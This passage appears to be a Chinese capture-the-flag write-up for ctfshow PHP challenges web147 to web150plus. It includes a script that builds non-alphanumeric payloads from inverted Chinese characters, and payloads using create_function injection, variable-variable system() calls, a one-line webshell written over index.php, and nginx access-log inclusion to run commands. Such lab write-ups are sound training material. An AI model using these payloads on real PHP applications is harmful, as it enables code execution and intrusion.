匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽";
function mb_str_split( $string ) {
return preg_split('/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/u', $string );
}
foreach (mb_str_split($word) as $c)
{
$arr[] = $c;
}
for ($x=0;$x<strlen($shell);$x++)
{
for ($y=0;$y<count($arr);$y++)
{
$k = $arr[$y];
if ($shell[$x] == ~($k{1}))
{
$result .= $k;
break;
}
}
}
echo $result;
再用双$的方式
code=$哈='"<>)^}{{}'; ${$哈}$&$哼=system&$西=ls
code=$哈="{{{"^"?<>/"; ${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "
web147
这题正则是匹配开头不包含字母或数字的符号
我们可以利用create_function()来创建匿名函数进行代码注入
[科普向] 解析create_function() && 复现wp
paylaod:
show=}system("cat flag.php");/*
ctf=\create_function #POST
闭合前面的if 然后注释后面的}
web148
去生成异或字典php里更换正则,然后python跑一下异或
web149
scandir --函数返回指定目录中的文件和目录的数组
unlink(filename,context) 参数描述 filename 必需。规定要删除的文件
直接重写index.php 内容随便写
ctf=index.php
show=一句话
web150
class_exists:判断类是否定义
日志包含
GET:?isVIP=true
POST:ctf=/var/log/nginx/access.log&a=system('tac flag.php');
web150plus
__autoload,当类进行判断的时候会调用他
这一块没有在类里面,是单独的
点空格会变_,extract又可以变量覆盖
这个题一点点小坑__autoload()函数不是类里面的
构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息